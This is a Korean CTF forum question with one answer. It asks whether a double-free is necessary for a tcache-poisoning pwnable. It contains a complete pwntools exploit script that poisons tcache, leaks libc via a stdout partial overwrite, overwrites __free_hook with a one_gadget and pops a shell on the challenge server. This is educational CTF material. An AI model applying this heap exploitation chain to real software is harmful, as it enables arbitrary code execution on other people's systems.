DFB 사용을 꼭 해야하는 이유가 있을까요 ?

이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ?

from pwn import *

p = remote('host3.dreamhack.games', 24385)
elf = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')


def allocate(size, content):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', content)  # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨


def free():
    p.sendlineafter(b'Edit\n', b'2')


def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')


def edit(content):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b'Edit chunk: ', content)


# tcache[0x40] : empty
# chunk : first(1)
allocate(0x30, b'first')


# tcache[0x40] : first(1)
# chunk : first(1)
free()  # (1)


# tcache[0x40] : first(1) -> stdout -> _IO_2_1_stdout_
# chunk : first(1)
stdout = elf.symbols['stdout']
edit(p64(stdout) + b'a')


# tcache[0x40] : stdout -> _IO_2_1_stdout_
# chunk : first(1)
allocate(0x30, b'a')
# 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음


# tcache[0x40] : _IO_2_1_stdout_
# chunk : stdout
_IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]  # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb
allocate(0x30, _IO_2_1_stdout_lsb)
# 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) _IO_2_1_stdout_을 변조하면 안됨
# 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각)


print_chunk()  # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력
p.recvuntil(b'Content: ')  # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능

# Leak libc base
libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']

# og = libc_base + 0x4f3ce
# og = libc_base + 0x4f3d5
og = libc_base + 0x4f432
# og = libc_base + 0x10a41c


# 여기서 tcache[0x40] 을 다시 쓰면 _IO_2_1_stdout_을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함

# tcache[0x50] : empty
# chunk : first(1)
allocate(0x40, b'first')


# tcahce[0x50] : first(1)
# chunk : first(1)
free()


# tcache[0x50] : first(1) -> free_hook
# chunk : first(1)
edit(p64(free_hook))


# tcache[0x50] : free_hook
# chunk : first(1)
allocate(0x40, b'a')


# tcache[0x50] : empty
# chunk : free_hook
allocate(0x40, p64(og))  # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨


# Exploit
free()
p.interactive()

#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

해당 문제에서는 그렇겠지만, 쉽게 설명드리면 티캐시 자체를 속이는 것이 더블프리버그입니다.

티캐시는 버전이 높아지면 높아질수록 실제로 프리된 것이 맞는지 검증하는 로직이 들어가는데 이 검증을 속이는 것이 필요합니다.

2024.09.01. 00:58
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기